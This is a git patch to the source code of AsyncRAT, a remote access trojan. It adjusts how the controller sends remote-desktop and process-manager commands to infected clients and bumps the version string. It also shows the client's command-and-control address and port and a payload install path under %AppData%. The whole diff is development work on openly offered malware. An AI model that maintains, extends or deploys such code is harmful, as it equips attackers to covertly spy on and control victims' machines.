From 573cfadd065016ee17b224c04da9ee4e2585a76e Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 27 Mar 2019 06:26:53 -0700 Subject: [PATCH] Fixed --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 5 +++-- AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/Client/Program.cs | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 60c2a38..002b3c0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -279,6 +279,8 @@ namespace AsyncRAT_Sharp await Task.Run(() => { Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + this.BeginInvoke((MethodInvoker)(() => { RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; @@ -293,7 +295,6 @@ namespace AsyncRAT_Sharp Active = true }; RD.Show(); - CL.BeginSend(msgpack.Encode2Bytes()); } })); }); @@ -321,6 +322,7 @@ namespace AsyncRAT_Sharp await Task.Run(() => { Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; @@ -334,7 +336,6 @@ namespace AsyncRAT_Sharp C = CL }; PM.Show(); - CL.BeginSend(msgpack.Encode2Bytes()); } })); }); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 0cf9307..c837134 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp { public static List Online = new List(); public static int Port = 6606; - public static readonly string Version = "AsyncRAT 0.2.7"; + public static readonly string Version = "AsyncRAT 0.2.7A"; public static long Sent = 0; public static long Received = 0; } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 913ffe4..4255e1f 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -18,7 +18,7 @@ namespace Client { public static readonly string IP = "127.0.0.1"; public static readonly string Port = "6606"; - public static readonly string Version = "AsyncRAT 0.2.7"; + public static readonly string Version = "AsyncRAT 0.2.7A"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); }